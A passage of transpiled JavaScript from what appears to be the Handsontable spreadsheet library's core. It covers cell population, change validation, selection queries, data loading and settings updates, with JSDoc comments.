(priv.settings.minSpareRows) { var emptyRows = instance.countEmptyRows(true); // should I add empty rows to meet minSpareRows? if (emptyRows < priv.settings.minSpareRows) { for (; emptyRows < priv.settings.minSpareRows && instance.countSourceRows() < priv.settings.maxRows; emptyRows++) { datamap.createRow(instance.countRows(), 1, 'auto'); } } } { var emptyCols; // count currently empty cols if (priv.settings.minCols || priv.settings.minSpareCols) { emptyCols = instance.countEmptyCols(true); } // should I add empty cols to meet minCols? if (priv.settings.minCols && !priv.settings.columns && instance.countCols() < priv.settings.minCols) { for (; instance.countCols() < priv.settings.minCols; emptyCols++) { datamap.createCol(instance.countCols(), 1, 'auto'); } } // should I add empty cols to meet minSpareCols? if (priv.settings.minSpareCols && !priv.settings.columns && instance.dataType === 'array' && emptyCols < priv.settings.minSpareCols) { for (; emptyCols < priv.settings.minSpareCols && instance.countCols() < priv.settings.maxCols; emptyCols++) { datamap.createCol(instance.countCols(), 1, 'auto'); } } } var rowCount = instance.countRows(); var colCount = instance.countCols(); if (rowCount === 0 || colCount === 0) { selection.deselect(); } if (selection.isSelected()) { (0, _array.arrayEach)(selection.selectedRange, function (range) { var selectionChanged = false; var fromRow = range.from.row; var fromCol = range.from.col; var toRow = range.to.row; var toCol = range.to.col; // if selection is outside, move selection to last row if (fromRow > rowCount - 1) { fromRow = rowCount - 1; selectionChanged = true; if (toRow > fromRow) { toRow = fromRow; } } else if (toRow > rowCount - 1) { toRow = rowCount - 1; selectionChanged = true; if (fromRow > toRow) { fromRow = toRow; } } // if selection is outside, move selection to last row if (fromCol > colCount - 1) { fromCol = colCount - 1; selectionChanged = true; if (toCol > fromCol) { toCol = fromCol; } } else if (toCol > colCount - 1) { toCol = colCount - 1; selectionChanged = true; if (fromCol > toCol) { fromCol = toCol; } } if (selectionChanged) { instance.selectCell(fromRow, fromCol, toRow, toCol); } }); } if (instance.view) { instance.view.wt.wtOverlays.adjustElementsSize(); } }, /** * Populate the data from the provided 2d array from the given cell coordinates. * * @private * @param {Object} start Start selection position. Visual indexes. * @param {Array} input 2d data array. * @param {Object} [end] End selection position (only for drag-down mode). Visual indexes. * @param {String} [source="populateFromArray"] Source information string. * @param {String} [method="overwrite"] Populate method. Possible options: `shift_down`, `shift_right`, `overwrite`. * @param {String} direction (left|right|up|down) String specifying the direction. * @param {Array} deltas The deltas array. A difference between values of adjacent cells. * Useful **only** when the type of handled cells is `numeric`. * @returns {Object|undefined} ending td in pasted area (only if any cell was changed). */ populateFromArray: function populateFromArray(start, input, end, source, method, direction, deltas) { // TODO: either remove or implement the `direction` argument. Currently it's not working at all. var r; var rlen; var c; var clen; var setData = []; var current = {}; rlen = input.length; if (rlen === 0) { return false; } var repeatCol; var repeatRow; var cmax; var rmax; /* eslint-disable no-case-declarations */ // insert data with specified pasteMode method switch (method) { case 'shift_down': repeatCol = end ? end.col - start.col + 1 : 0; repeatRow = end ? end.row - start.row + 1 : 0; // eslint-disable-next-line no-param-reassign input = (0, _data.translateRowsToColumns)(input); for (c = 0, clen = input.length, cmax = Math.max(clen, repeatCol); c < cmax; c++) { if (c < clen) { var _instance; for (r = 0, rlen = input[c].length; r < repeatRow - rlen; r++) { input[c].push(input[c][r % rlen]); } input[c].unshift(start.col + c, start.row, 0); (_instance = instance).spliceCol.apply(_instance, _toConsumableArray(input[c])); } else { var _instance2; input[c % clen][0] = start.col + c; (_instance2 = instance).spliceCol.apply(_instance2, _toConsumableArray(input[c % clen])); } } break; case 'shift_right': repeatCol = end ? end.col - start.col + 1 : 0; repeatRow = end ? end.row - start.row + 1 : 0; for (r = 0, rlen = input.length, rmax = Math.max(rlen, repeatRow); r < rmax; r++) { if (r < rlen) { var _instance3; for (c = 0, clen = input[r].length; c < repeatCol - clen; c++) { input[r].push(input[r][c % clen]); } input[r].unshift(start.row + r, start.col, 0); (_instance3 = instance).spliceRow.apply(_instance3, _toConsumableArray(input[r])); } else { var _instance4; input[r % rlen][0] = start.row + r; (_instance4 = instance).spliceRow.apply(_instance4, _toConsumableArray(input[r % rlen])); } } break; case 'overwrite': default: // overwrite and other not specified options current.row = start.row; current.col = start.col; var selected = { // selected range row: end && start ? end.row - start.row + 1 : 1, col: end && start ? end.col - start.col + 1 : 1 }; var skippedRow = 0; var skippedColumn = 0; var pushData = true; var cellMeta; var getInputValue = function getInputValue(row) { var col = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : null; var rowValue = input[row % input.length]; if (col !== null) { return rowValue[col % rowValue.length]; } return rowValue; }; var rowInputLength = input.length; var rowSelectionLength = end ? end.row - start.row + 1 : 0; if (end) { rlen = rowSelectionLength; } else { rlen = Math.max(rowInputLength, rowSelectionLength); } for (r = 0; r < rlen; r++) { if (end && current.row > end.row && rowSelectionLength > rowInputLength || !priv.settings.allowInsertRow && current.row > instance.countRows() - 1 || current.row >= priv.settings.maxRows) { break; } var visualRow = r - skippedRow; var colInputLength = getInputValue(visualRow).length; var colSelectionLength = end ? end.col - start.col + 1 : 0; if (end) { clen = colSelectionLength; } else { clen = Math.max(colInputLength, colSelectionLength); } current.col = start.col; cellMeta = instance.getCellMeta(current.row, current.col); if ((source === 'CopyPaste.paste' || source === 'Autofill.autofill') && cellMeta.skipRowOnPaste) { skippedRow += 1; current.row += 1; rlen += 1; /* eslint-disable no-continue */ continue; } skippedColumn = 0; for (c = 0; c < clen; c++) { if (end && current.col > end.col && colSelectionLength > colInputLength || !priv.settings.allowInsertColumn && current.col > instance.countCols() - 1 || current.col >= priv.settings.maxCols) { break; } cellMeta = instance.getCellMeta(current.row, current.col); if ((source === 'CopyPaste.paste' || source === 'Autofill.fill') && cellMeta.skipColumnOnPaste) { skippedColumn += 1; current.col += 1; clen += 1; continue; } if (cellMeta.readOnly) { current.col += 1; /* eslint-disable no-continue */ continue; } var visualColumn = c - skippedColumn; var value = getInputValue(visualRow, visualColumn); var orgValue = instance.getDataAtCell(current.row, current.col); var index = { row: visualRow, col: visualColumn }; if (source === 'Autofill.fill') { var result = instance.runHooks('beforeAutofillInsidePopulate', index, direction, input, deltas, {}, selected); if (result) { value = (0, _mixed.isUndefined)(result.value) ? value : result.value; } } if (value !== null && _typeof(value) === 'object') { if (orgValue === null || _typeof(orgValue) !== 'object') { pushData = false; } else { var orgValueSchema = (0, _object.duckSchema)(orgValue[0] || orgValue); var valueSchema = (0, _object.duckSchema)(value[0] || value); /* eslint-disable max-depth */ if ((0, _object.isObjectEqual)(orgValueSchema, valueSchema)) { value = (0, _object.deepClone)(value); } else { pushData = false; } } } else if (orgValue !== null && _typeof(orgValue) === 'object') { pushData = false; } if (pushData) { setData.push([current.row, current.col, value]); } pushData = true; current.col += 1; } current.row += 1; } instance.setDataAtCell(setData, null, null, source || 'populateFromArray'); break; } } }; /** * Internal function to set `language` key of settings. * * @private * @param {String} languageCode Language code for specific language i.e. 'en-US', 'pt-BR', 'de-DE' * @fires Hooks#afterLanguageChange */ function setLanguage(languageCode) { var normalizedLanguageCode = (0, _utils.normalizeLanguageCode)(languageCode); if ((0, _dictionariesManager.hasLanguageDictionary)(normalizedLanguageCode)) { instance.runHooks('beforeLanguageChange', normalizedLanguageCode); GridSettings.prototype.language = normalizedLanguageCode; instance.runHooks('afterLanguageChange', normalizedLanguageCode); } else { (0, _utils.warnUserAboutLanguageRegistration)(languageCode); } } this.init = function () { dataSource.setData(priv.settings.data); instance.runHooks('beforeInit'); if ((0, _browser.isMobileBrowser)()) { (0, _element.addClass)(instance.rootElement, 'mobile'); } this.updateSettings(priv.settings, true); this.view = new _tableView.default(this); editorManager = _editorManager.default.getInstance(instance, priv, selection, datamap); this.forceFullRender = true; // used when data was changed instance.runHooks('init'); this.view.render(); if (_typeof(priv.firstRun) === 'object') { instance.runHooks('afterChange', priv.firstRun[0], priv.firstRun[1]); priv.firstRun = false; } instance.runHooks('afterInit'); }; function ValidatorsQueue() { // moved this one level up so it can be used in any function here. Probably this should be moved to a separate file var resolved = false; return { validatorsInQueue: 0, valid: true, addValidatorToQueue: function addValidatorToQueue() { this.validatorsInQueue += 1; resolved = false; }, removeValidatorFormQueue: function removeValidatorFormQueue() { this.validatorsInQueue = this.validatorsInQueue - 1 < 0 ? 0 : this.validatorsInQueue - 1; this.checkIfQueueIsEmpty(); }, onQueueEmpty: function onQueueEmpty() {}, checkIfQueueIsEmpty: function checkIfQueueIsEmpty() { if (this.validatorsInQueue === 0 && resolved === false) { resolved = true; this.onQueueEmpty(this.valid); } } }; } /** * Get parsed number from numeric string. * * @private * @param {String} numericData Float (separated by a dot or a comma) or integer. * @returns {Number} Number if we get data in parsable format, not changed value otherwise. */ function getParsedNumber(numericData) { // Unifying "float like" string. Change from value with comma determiner to value with dot determiner, // for example from `450,65` to `450.65`. var unifiedNumericData = numericData.replace(',', '.'); if (isNaN(parseFloat(unifiedNumericData)) === false) { return parseFloat(unifiedNumericData); } return numericData; } function validateChanges(changes, source, callback) { var waitingForValidator = new ValidatorsQueue(); var isNumericData = function isNumericData(value) { return value.length > 0 && /^\s*[+-.]?\s*(?:(?:\d+(?:(\.|,)\d+)?(?:e[+-]?\d+)?)|(?:0x[a-f\d]+))\s*$/.test(value); }; waitingForValidator.onQueueEmpty = resolve; for (var i = changes.length - 1; i >= 0; i--) { if (changes[i] === null) { changes.splice(i, 1); } else { var _changes$i = _slicedToArray(changes[i], 4), row = _changes$i[0], prop = _changes$i[1], newValue = _changes$i[3]; var col = datamap.propToCol(prop); var cellProperties = instance.getCellMeta(row, col); if (cellProperties.type === 'numeric' && typeof newValue === 'string' && isNumericData(newValue)) { changes[i][3] = getParsedNumber(newValue); } /* eslint-disable no-loop-func */ if (instance.getCellValidator(cellProperties)) { waitingForValidator.addValidatorToQueue(); instance.validateCell(changes[i][3], cellProperties, function (index, cellPropertiesReference) { return function (result) { if (typeof result !== 'boolean') { throw new Error('Validation error: result is not boolean'); } if (result === false && cellPropertiesReference.allowInvalid === false) { changes.splice(index, 1); // cancel the change cellPropertiesReference.valid = true; // we cancelled the change, so cell value is still valid var cell = instance.getCell(cellPropertiesReference.visualRow, cellPropertiesReference.visualCol); if (cell !== null) { (0, _element.removeClass)(cell, instance.getSettings().invalidCellClassName); } // index -= 1; } waitingForValidator.removeValidatorFormQueue(); }; }(i, cellProperties), source); } } } waitingForValidator.checkIfQueueIsEmpty(); function resolve() { var beforeChangeResult; if (changes.length) { beforeChangeResult = instance.runHooks('beforeChange', changes, source || 'edit'); if ((0, _function.isFunction)(beforeChangeResult)) { (0, _console.warn)('Your beforeChange callback returns a function. It\'s not supported since Handsontable 0.12.1 (and the returned function will not be executed).'); } else if (beforeChangeResult === false) { changes.splice(0, changes.length); // invalidate all changes (remove everything from array) } } callback(); // called when async validators are resolved and beforeChange was not async } } /** * Internal function to apply changes. Called after validateChanges * * @private * @param {Array} changes Array in form of [row, prop, oldValue, newValue] * @param {String} source String that identifies how this change will be described in changes array (useful in onChange callback) * @fires Hooks#beforeChangeRender * @fires Hooks#afterChange */ function applyChanges(changes, source) { var i = changes.length - 1; if (i < 0) { return; } for (; i >= 0; i--) { var skipThisChange = false; if (changes[i] === null) { changes.splice(i, 1); /* eslint-disable no-continue */ continue; } if ((changes[i][2] === null || changes[i][2] === void 0) && (changes[i][3] === null || changes[i][3] === void 0)) { /* eslint-disable no-continue */ continue; } if (priv.settings.allowInsertRow) { while (changes[i][0] > instance.countRows() - 1) { var numberOfCreatedRows = datamap.createRow(void 0, void 0, source); if (numberOfCreatedRows === 0) { skipThisChange = true; break; } } } if (skipThisChange) { /* eslint-disable no-continue */ continue; } if (instance.dataType === 'array' && (!priv.settings.columns || priv.settings.columns.length === 0) && priv.settings.allowInsertColumn) { while (datamap.propToCol(changes[i][1]) > instance.countCols() - 1) { datamap.createCol(void 0, void 0, source); } } datamap.set(changes[i][0], changes[i][1], changes[i][3]); } instance.forceFullRender = true; // used when data was changed grid.adjustRowsAndCols(); instance.runHooks('beforeChangeRender', changes, source); editorManager.lockEditor(); instance._refreshBorders(null); editorManager.unlockEditor(); instance.view.wt.wtOverlays.adjustElementsSize(); instance.runHooks('afterChange', changes, source || 'edit'); var activeEditor = instance.getActiveEditor(); if (activeEditor && (0, _mixed.isDefined)(activeEditor.refreshValue)) { activeEditor.refreshValue(); } } /** * Validate a single cell. * * @param {String|Number} value * @param cellProperties * @param callback * @param source */ this.validateCell = function (value, cellProperties, callback, source) { var validator = instance.getCellValidator(cellProperties); // the `canBeValidated = false` argument suggests, that the cell passes validation by default. function done(valid) { var canBeValidated = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : true; // Fixes GH#3903 if (!canBeValidated || cellProperties.hidden === true) { callback(valid); return; } var col = cellProperties.visualCol; var row = cellProperties.visualRow; var td = instance.getCell(row, col, true); if (td && td.nodeName !== 'TH') { instance.view.wt.wtSettings.settings.cellRenderer(row, col, td); } callback(valid); } if ((0, _mixed.isRegExp)(validator)) { validator = function (expression) { return function (cellValue, validatorCallback) { validatorCallback(expression.test(cellValue)); }; }(validator); } if ((0, _function.isFunction)(validator)) { // eslint-disable-next-line no-param-reassign value = instance.runHooks('beforeValidate', value, cellProperties.visualRow, cellProperties.prop, source); // To provide consistent behaviour, validation should be always asynchronous instance._registerTimeout(setTimeout(function () { validator.call(cellProperties, value, function (valid) { // eslint-disable-next-line no-param-reassign valid = instance.runHooks('afterValidate', valid, value, cellProperties.visualRow, cellProperties.prop, source); cellProperties.valid = valid; done(valid); instance.runHooks('postAfterValidate', valid, value, cellProperties.visualRow, cellProperties.prop, source); }); }, 0)); } else { // resolve callback even if validator function was not found instance._registerTimeout(setTimeout(function () { cellProperties.valid = true; done(cellProperties.valid, false); }, 0)); } }; function setDataInputToArray(row, propOrCol, value) { if (_typeof(row) === 'object') { // is it an array of changes return row; } return [[row, propOrCol, value]]; } /** * @description * Set new value to a cell. To change many cells at once (recommended way), pass an array of `changes` in format * `[[row, col, value],...]` as the first argument. * * @memberof Core# * @function setDataAtCell * @param {Number|Array} row Visual row index or array of changes in format `[[row, col, value],...]`. * @param {Number} [column] Visual column index. * @param {String} [value] New value. * @param {String} [source] String that identifies how this change will be described in the changes array (useful in onAfterChange or onBeforeChange callback). */ this.setDataAtCell = function (row, column, value, source) { var input = setDataInputToArray(row, column, value); var changes = []; var changeSource = source; var i; var ilen; var prop; for (i = 0, ilen = input.length; i < ilen; i++) { if (_typeof(input[i]) !== 'object') { throw new Error('Method `setDataAtCell` accepts row number or changes array of arrays as its first parameter'); } if (typeof input[i][1] !== 'number') { throw new Error('Method `setDataAtCell` accepts row and column number as its parameters. If you want to use object property name, use method `setDataAtRowProp`'); } prop = datamap.colToProp(input[i][1]); changes.push([input[i][0], prop, dataSource.getAtCell(recordTranslator.toPhysicalRow(input[i][0]), input[i][1]), input[i][2]]); } if (!changeSource && _typeof(row) === 'object') { changeSource = column; } instance.runHooks('afterSetDataAtCell', changes, changeSource); validateChanges(changes, changeSource, function () { applyChanges(changes, changeSource); }); }; /** * @description * Set new value to a cell. To change many cells at once (recommended way), pass an array of `changes` in format * `[[row, prop, value],...]` as the first argument. * * @memberof Core# * @function setDataAtRowProp * @param {Number|Array} row Visual row index or array of changes in format `[[row, prop, value], ...]`. * @param {String} prop Property name or the source string (e.g. `'first.name'` or `'0'`). * @param {String} value Value to be set. * @param {String} [source] String that identifies how this change will be described in changes array (useful in onChange callback). */ this.setDataAtRowProp = function (row, prop, value, source) { var input = setDataInputToArray(row, prop, value); var changes = []; var changeSource = source; var i; var ilen; for (i = 0, ilen = input.length; i < ilen; i++) { changes.push([input[i][0], input[i][1], dataSource.getAtCell(recordTranslator.toPhysicalRow(input[i][0]), input[i][1]), input[i][2]]); } if (!changeSource && _typeof(row) === 'object') { changeSource = prop; } instance.runHooks('afterSetDataAtRowProp', changes, changeSource); validateChanges(changes, changeSource, function () { applyChanges(changes, changeSource); }); }; /** * Listen to the keyboard input on document body. This allows Handsontable to capture keyboard events and respond * in the right way. * * @memberof Core# * @function listen * @param {Boolean} [modifyDocumentFocus=true] If `true`, currently focused element will be blured (which returns focus * to the document.body). Otherwise the active element does not lose its focus. * @fires Hooks#afterListen */ this.listen = function () { var modifyDocumentFocus = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : true; if (modifyDocumentFocus) { var invalidActiveElement = !document.activeElement || document.activeElement && document.activeElement.nodeName === void 0; if (document.activeElement && document.activeElement !== document.body && !invalidActiveElement) { document.activeElement.blur(); } else if (invalidActiveElement) { // IE document.body.focus(); } } if (instance && !instance.isListening()) { activeGuid = instance.guid; instance.runHooks('afterListen'); } }; /** * Stop listening to keyboard input on the document body. Calling this method makes the Handsontable inactive for * any keyboard events. * * @memberof Core# * @function unlisten */ this.unlisten = function () { if (this.isListening()) { activeGuid = null; instance.runHooks('afterUnlisten'); } }; /** * Returns `true` if the current Handsontable instance is listening to keyboard input on document body. * * @memberof Core# * @function isListening * @returns {Boolean} `true` if the instance is listening, `false` otherwise. */ this.isListening = function () { return activeGuid === instance.guid; }; /** * Destroys the current editor, render the table and prepares the editor of the newly selected cell. * * @memberof Core# * @function destroyEditor * @param {Boolean} [revertOriginal=false] If `true`, the previous value will be restored. Otherwise, the edited value will be saved. * @param {Boolean} [prepareEditorIfNeeded=true] If `true` the editor under the selected cell will be prepared to open. */ this.destroyEditor = function () { var revertOriginal = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false; var prepareEditorIfNeeded = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : true; instance._refreshBorders(revertOriginal, prepareEditorIfNeeded); }; /** * Populate cells at position with 2D input array (e.g. `[[1, 2], [3, 4]]`). Use `endRow`, `endCol` when you * want to cut input when a certain row is reached. * * Optional `method` argument has the same effect as pasteMode option (see {@link Options#pasteMode}). * * @memberof Core# * @function populateFromArray * @param {Number} row Start visual row index. * @param {Number} column Start visual column index. * @param {Array} input 2d array * @param {Number} [endRow] End visual row index (use when you want to cut input when certain row is reached). * @param {Number} [endCol] End visual column index (use when you want to cut input when certain column is reached). * @param {String} [source=populateFromArray] Used to identify this call in the resulting events (beforeChange, afterChange). * @param {String} [method=overwrite] Populate method, possible values: `'shift_down'`, `'shift_right'`, `'overwrite'`. * @param {String} direction Populate direction, possible values: `'left'`, `'right'`, `'up'`, `'down'`. * @param {Array} deltas The deltas array. A difference between values of adjacent cells. * Useful **only** when the type of handled cells is `numeric`. */ this.populateFromArray = function (row, column, input, endRow, endCol, source, method, direction, deltas) { if (!(_typeof(input) === 'object' && _typeof(input[0]) === 'object')) { throw new Error('populateFromArray parameter `input` must be an array of arrays'); // API changed in 0.9-beta2, let's check if you use it correctly } var c = typeof endRow === 'number' ? new _src.CellCoords(endRow, endCol) : null; return grid.populateFromArray(new _src.CellCoords(row, column), input, c, source, method, direction, deltas); }; /** * Adds/removes data from the column. This method works the same as Array.splice for arrays (see {@link DataMap#spliceCol}). * * @memberof Core# * @function spliceCol * @param {Number} column Index of the column in which do you want to do splice. * @param {Number} index Index at which to start changing the array. If negative, will begin that many elements from the end. * @param {Number} amount An integer indicating the number of old array elements to remove. If amount is 0, no elements are removed. * @param {...Number} [elements] The elements to add to the array. If you don't specify any elements, spliceCol simply removes elements from the array. */ this.spliceCol = function (column, index, amount) { var _datamap; for (var _len2 = arguments.length, elements = new Array(_len2 > 3 ? _len2 - 3 : 0), _key = 3; _key < _len2; _key++) { elements[_key - 3] = arguments[_key]; } return (_datamap = datamap).spliceCol.apply(_datamap, [column, index, amount].concat(elements)); }; /** * Adds/removes data from the row. This method works the same as Array.splice for arrays (see {@link DataMap#spliceRow}). * * @memberof Core# * @function spliceRow * @param {Number} row Index of column in which do you want to do splice. * @param {Number} index Index at which to start changing the array. If negative, will begin that many elements from the end. * @param {Number} amount An integer indicating the number of old array elements to remove. If amount is 0, no elements are removed. * @param {...Number} [elements] The elements to add to the array. If you don't specify any elements, spliceCol simply removes elements from the array. */ this.spliceRow = function (row, index, amount) { var _datamap2; for (var _len3 = arguments.length, elements = new Array(_len3 > 3 ? _len3 - 3 : 0), _key2 = 3; _key2 < _len3; _key2++) { elements[_key2 - 3] = arguments[_key2]; } return (_datamap2 = datamap).spliceRow.apply(_datamap2, [row, index, amount].concat(elements)); }; /** * Returns indexes of the currently selected cells as an array of arrays `[[startRow, startCol, endRow, endCol],...]`. * * Start row and start column are the coordinates of the active cell (where the selection was started). * * The version 0.36.0 adds a non-consecutive selection feature. Since this version, the method returns an array of arrays. * Additionally to collect the coordinates of the currently selected area (as it was previously done by the method) * you need to use `getSelectedLast` method. * * @memberof Core# * @function getSelected * @returns {Array[]|undefined} An array of arrays of the selection's coordinates. */ this.getSelected = function () { // https://github.com/handsontable/handsontable/issues/44 //cjl if (selection.isSelected()) { return (0, _array.arrayMap)(selection.getSelectedRange(), function (_ref11) { var from = _ref11.from, to = _ref11.to; return [from.row, from.col, to.row, to.col]; }); } }; /** * Returns the last coordinates applied to the table as a an array `[startRow, startCol, endRow, endCol]`. * * @since 0.36.0 * @memberof Core# * @function getSelectedLast * @returns {Array|undefined} An array of the selection's coordinates. */ this.getSelectedLast = function () { var selected = this.getSelected(); var result; if (selected && selected.length > 0) { result = selected[selected.length - 1]; } return result; }; /** * Returns the current selection as an array of CellRange objects. * * The version 0.36.0 adds a non-consecutive selection feature. Since this version, the method returns an array of arrays. * Additionally to collect the coordinates of the currently selected area (as it was previously done by the method) * you need to use `getSelectedRangeLast` method. * * @memberof Core# * @function getSelectedRange * @returns {CellRange[]|undefined} Selected range object or undefined if there is no selection. */ this.getSelectedRange = function () { // https://github.com/handsontable/handsontable/issues/44 //cjl if (selection.isSelected()) { return Array.from(selection.getSelectedRange()); } }; /** * Returns the last coordinates applied to the table as a CellRange object. * * @memberof Core# * @function getSelectedRangeLast * @since 0.36.0 * @returns {CellRange|undefined} Selected range object or undefined` if there is no selection. */ this.getSelectedRangeLast = function () { var selectedRange = this.getSelectedRange(); var result; if (selectedRange && selectedRange.length > 0) { result = selectedRange[selectedRange.length - 1]; } return result; }; /** * Erases content from cells that have been selected in the table. * * @memberof Core# * @function emptySelectedCells * @since 0.36.0 */ this.emptySelectedCells = function () { var _this2 = this; if (!selection.isSelected()) { return; } var changes = []; (0, _array.arrayEach)(selection.getSelectedRange(), function (cellRange) { var topLeft = cellRange.getTopLeftCorner(); var bottomRight = cellRange.getBottomRightCorner(); (0, _number.rangeEach)(topLeft.row, bottomRight.row, function (row) { (0, _number.rangeEach)(topLeft.col, bottomRight.col, function (column) { if (!_this2.getCellMeta(row, column).readOnly) { changes.push([row, column, '']); } }); }); }); if (changes.length > 0) { this.setDataAtCell(changes); } }; /** * Rerender the table. Calling this method starts the process of recalculating, redrawing and applying the changes * to the DOM. While rendering the table all cell renderers are recalled. * * Calling this method manually is not recommended. Handsontable tries to render itself by choosing the most * optimal moments in its lifecycle. * * @memberof Core# * @function render */ this.render = function () { if (instance.view) { instance.renderCall = true; instance.forceFullRender = true; // used when data was changed editorManager.lockEditor(); instance._refreshBorders(null); editorManager.unlockEditor(); } }; /** * Loads new data to Handsontable. Loading new data resets the cell meta. * * @memberof Core# * @function loadData * @param {Array} data Array of arrays or array of objects containing data. * @fires Hooks#afterLoadData * @fires Hooks#afterChange */ this.loadData = function (data) { if (Array.isArray(priv.settings.dataSchema)) { instance.dataType = 'array'; } else if ((0, _function.isFunction)(priv.settings.dataSchema)) { instance.dataType = 'function'; } else { instance.dataType = 'object'; } if (datamap) { datamap.destroy(); } datamap = new _dataMap.default(instance, priv, GridSettings); if (_typeof(data) === 'object' && data !== null) { if (!(data.push && data.splice)) { // check if data is array. Must use duck-type check so Backbone Collections also pass it // when data is not an array, attempt to make a single-row array of it // eslint-disable-next-line no-param-reassign data = [data]; } } else if (data === null) { var dataSchema = datamap.getSchema(); // eslint-disable-next-line no-param-reassign data = []; var row; var r = 0; var rlen = 0; for (r = 0, rlen = priv.settings.startRows; r < rlen; r++) { if ((instance.dataType === 'object' || instance.dataType === 'function') && priv.settings.dataSchema) { row = (0, _object.deepClone)(dataSchema); data.push(row); } else if (instance.dataType === 'array') { row = (0, _object.deepClone)(dataSchema[0]); data.push(row); } else { row = []; for (var c = 0, clen = priv.settings.startCols; c < clen; c++) { row.push(null); } data.push(row); } } } else { throw new Error("loadData only accepts array of objects or array of arrays (".concat(_typeof(data), " given)")); } priv.isPopulated = false; GridSettings.prototype.data = data; if (Array.isArray(data[0])) { instance.dataType = 'array'; } datamap.dataSource = data; dataSource.data = data; dataSource.dataType = instance.dataType; dataSource.colToProp = datamap.colToProp.bind(datamap); dataSource.propToCol = datamap.propToCol.bind(datamap); clearCellSettingCache(); grid.adjustRowsAndCols(); instance.runHooks('afterLoadData', priv.firstRun); if (priv.firstRun) { priv.firstRun = [null, 'loadData']; } else { instance.runHooks('afterChange', null, 'loadData'); instance.render(); } priv.isPopulated = true; function clearCellSettingCache() { priv.cellSettings.length = 0; } }; /** * Returns the current data object (the same one that was passed by `data` configuration option or `loadData` method, * unless the `modifyRow` hook was used to trim some of the rows. If that's the case - use the {@link Core#getSourceData} method.). * * Optionally you can provide cell range by defining `row`, `column`, `row2`, `column2` to get only a fragment of table data. * * @memberof Core# * @function getData * @param {Number} [row] From visual row index. * @param {Number} [column] From visual column index. * @param {Number} [row2] To visual row index. * @param {Number} [column2] To visual column index. * @returns {Array[]} Array with the data. * @example * ```js * // Get all data (in order how it is rendered in the table). * hot.getData(); * // Get data fragment (from top-left 0, 0 to bottom-right 3, 3). * hot.getData(3, 3); * // Get data fragment (from top-left 2, 1 to bottom-right 3, 3). * hot.getData(2, 1, 3, 3); * ``` */ this.getData = function (row, column, row2, column2) { if ((0, _mixed.isUndefined)(row)) { return datamap.getAll(); } return datamap.getRange(new _src.CellCoords(row, column), new _src.CellCoords(row2, column2), datamap.DESTINATION_RENDERER); }; /** * Returns a string value of the selected range. Each column is separated by tab, each row is separated by a new * line character (see {@link DataMap#getCopyableText}). * * @memberof Core# * @function getCopyableText * @param {Number} startRow From visual row index. * @param {Number} startCol From visual column index. * @param {Number} endRow To visual row index. * @param {Number} endCol To visual column index. * @returns {String} */ this.getCopyableText = function (startRow, startCol, endRow, endCol) { return datamap.getCopyableText(new _src.CellCoords(startRow, startCol), new _src.CellCoords(endRow, endCol)); }; /** * Returns the data's copyable value at specified `row` and `column` index (see {@link DataMap#getCopyable}). * * @memberof Core# * @function getCopyableData * @param {Number} row Visual row index. * @param {Number} column Visual column index. * @returns {String} */ this.getCopyableData = function (row, column) { return datamap.getCopyable(row, datamap.colToProp(column)); }; /** * Returns schema provided by constructor settings. If it doesn't exist then it returns the schema based on the data * structure in the first row. * * @memberof Core# * @function getSchema * @returns {Object} Schema object. */ this.getSchema = function () { return datamap.getSchema(); }; /** * Use it if you need to change configuration after initialization. The `settings` argument is an object containing the new * settings, declared the same way as in the initial settings object. * * __Note__, that although the `updateSettings` method doesn't overwrite the previously declared settings, it might reset * the settings made post-initialization. (for example - ignore changes made using the columnResize feature). * * @memberof Core# * @function updateSettings * @param {Object} settings New settings object (see {@link Options}). * @param {Boolean} [init=false] Internally used for in initialization mode. * @example * ```js * hot.updateSettings({ * contextMenu: true, * colHeaders: true, * fixedRowsTop: 2 * }); * ``` * @fires Hooks#afterCellMetaReset * @fires Hooks#afterUpdateSettings */ this.updateSettings = function (settings) { var init = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false; var columnsAsFunc = false; var i; var j; var clen; if ((0, _mixed.isDefined)(settings.rows)) { throw new Error('"rows" setting is no longer supported. do you mean startRows, minRows or maxRows?'); } if ((0, _mixed.isDefined)(settings.cols)) { throw new Error('"cols" setting is no longer supported. do you mean startCols, minCols or maxCols?'); } // eslint-disable-next-line no-restricted-syntax for (i in settings) { if (i === 'data') { /* eslint-disable-next-line no-continue */ continue; // loadData will be triggered later } else if (i === 'language') { setLanguage(settings.language); /* eslint-disable-next-line no-continue */ continue; } else if (_pluginHooks.default.getSingleton().getRegistered().indexOf(i) > -1) { if ((0, _function.isFunction)(settings[i]) || Array.isArray(settings[i])) { settings[i].initialHook = true; instance.addHook(i, settings[i]); } } else if (!init && (0, _object.hasOwnProperty)(settings, i)) { // Update settings GridSettings.prototype[i] = settings[i]; } } // Load data or create data map if (settings.data === void 0 && priv.settings.data === void 0) { instance.loadData(null); // data source created just now } else if (settings.data !== void 0) { instance.loadData(settings.data); // data source given as option } else if (settings.columns !== void 0) { datamap.createMap(); } clen = instance.countCols(); var columnSetting = settings.columns || GridSettings.prototype.columns; // Init columns constructors configuration if (columnSetting && (0, _function.isFunction)(columnSetting)) { clen = instance.countSourceCols(); columnsAsFunc = true; } // Clear cellSettings cache if (settings.cell !== void 0 || settings.cells !== void 0 || settings.columns !== void 0) { priv.cellSettings.length = 0; } if (clen > 0) { var proto; var column; for (i = 0, j = 0; i < clen; i++) { if (columnsAsFunc && !columnSetting(i)) { /* eslint-disable no-continue */ continue; } priv.columnSettings[j] = (0, _setting.columnFactory)(GridSettings, priv.columnsSettingConflicts); // shortcut for prototype proto = priv.columnSettings[j].prototype; // Use settings provided by user if (columnSetting) { if (columnsAsFunc) { column = columnSetting(i); } else { column = columnSetting[j]; } if (column) { (0, _object.extend)(proto, column); (0, _object.extend)(proto, expandType(column)); } } j += 1; } } if ((0, _mixed.isDefined)(settings.cell)) { (0, _object.objectEach)(settings.cell, function (cell) { instance.setCellMetaObject(cell.row, cell.col, cell); }); } instance.runHooks('afterCellMetaReset'); if ((0, _mixed.isDefined)(settings.className)) { if (GridSettings.prototype.className) { (0, _element.removeClass)(instance.rootElement, GridSettings.prototype.className); } if (settings.className) { (0, _element.addClass)(instance.rootElement, settings.className); } } var currentHeight = instance.rootElement.style.height; if (currentHeight !== '') { currentHeight = parseInt(instance.rootElement.style.height, 10); } var height = settings.height; if ((0, 